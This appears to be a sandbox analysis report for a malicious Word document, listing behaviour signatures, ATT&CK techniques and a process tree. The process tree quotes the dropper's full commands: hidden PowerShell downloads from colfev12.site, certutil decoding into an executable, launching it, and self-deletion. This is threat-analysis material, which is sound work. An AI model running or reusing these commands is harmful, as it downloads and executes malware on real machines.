Overview

overview

10

task1

 

6

task2

 

10

Analysis

  • max time kernel
    111s
  • resource
    win7v191014
  • submitted
    05-12-2019 16:52

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_92ebafcc950619596e93a4215d05e6cb.doc

  • Sample

    191205-lskkescds6

  • SHA256

    94c241402910892dc472c95bec71350b2201bb0b3216b0ea988782af6a05c08a

Score
6/10
discoveryevasionspreading

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://colfev12.site/Bijka.dat
exe.dropper

http://colfev12.site/sfera.dat
exe.dropper

http://colfev12.site/oYWE.dat

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
    evasionspreading
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks for installed software on the system 1 TTPs 34 IoCs
    discovery
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Drops file in Windows directory 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_92ebafcc950619596e93a4215d05e6cb.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:1000
  • C:\Windows\system32\cmd.exe
    cmd /c powershell -windowstyle hidden -command Import-Module BitsTransfer; Start-BitsTransfer -Source http://colfev12.site/Bijka.dat,http://colfev12.site/sfera.dat,http://colfev12.site/oYWE.dat -Destination \"$env:TEMP\blow.exe\",\"$env:TEMP\dera\",\"$env:TEMP\oYWE.exe\" & certutil -decode %temp%\dera %temp%\dera.exe & powershell -windowstyle hidden -command Set-Location -Path \"$env:TEMP\"; Start-Process blow.exe -ArgumentList dera.exe
    1⤵
      PID:1932
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -windowstyle hidden -command Import-Module BitsTransfer; Start-BitsTransfer -Source http://colfev12.site/Bijka.dat,http://colfev12.site/sfera.dat,http://colfev12.site/oYWE.dat -Destination \"$env:TEMP\blow.exe\",\"$env:TEMP\dera\",\"$env:TEMP\oYWE.exe\"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        • Drops file in System32 directory
        PID:2032
      • C:\Windows\system32\certutil.exe
        certutil -decode C:\Users\Admin\AppData\Local\Temp\dera C:\Users\Admin\AppData\Local\Temp\dera.exe
        2⤵
        • Drops file in Windows directory
        PID:1864
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -windowstyle hidden -command Set-Location -Path \"$env:TEMP\"; Start-Process blow.exe -ArgumentList dera.exe
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        • Drops file in System32 directory
        PID:1276
        • C:\Users\Admin\AppData\Local\Temp\blow.exe
          "C:\Users\Admin\AppData\Local\Temp\blow.exe" dera.exe
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          • Suspicious use of SetThreadContext
          PID:2032
          • C:\Users\Admin\AppData\Local\Temp\blow.exe
            "C:\Users\Admin\AppData\Local\Temp\blow.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            PID:1184
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\blow.exe"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2084
              • C:\Windows\SysWOW64\PING.EXE
                ping 127.0.0.1
                6⤵
                • Runs ping.exe
                PID:2112
    • C:\Windows\system32\conhost.exe
      \??\C:\Windows\system32\conhost.exe "-1548836680-533666437-679457699-1403319995-15752893778627448631697681750379809567"
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:544
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
        PID:1988
      • C:\Windows\system32\conhost.exe
        \??\C:\Windows\system32\conhost.exe "-8449848701674497554-269395519-758020550159963813271793361-327609566-847366106"
        1⤵
        • Suspicious use of SetWindowsHookEx
        PID:2096

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Initial Access

      Execution

      Persistence

      Privilege Escalation

      Defense Evasion

      Credential Access

      Discovery

      Remote System Discovery

      1
      T1018

      Query Registry

      3
      T1012

      System Information Discovery

      1
      T1082

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ef13c2a6-fcdf-474f-b686-be9a419bd5e9
        Download Submit
      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
        Download Submit
      • C:\Users\Admin\AppData\Local\Temp\dera.exe
        Download Submit
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Download Submit
      • memory/1000-0-0x0000000006240000-0x0000000006244000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1184-10-0x00000000000F0000-0x000000000014D000-memory.dmp
        Filesize

        372KB

        Download
      • memory/1184-11-0x00000000000F0000-0x000000000014D000-memory.dmp
        Filesize

        372KB

        Download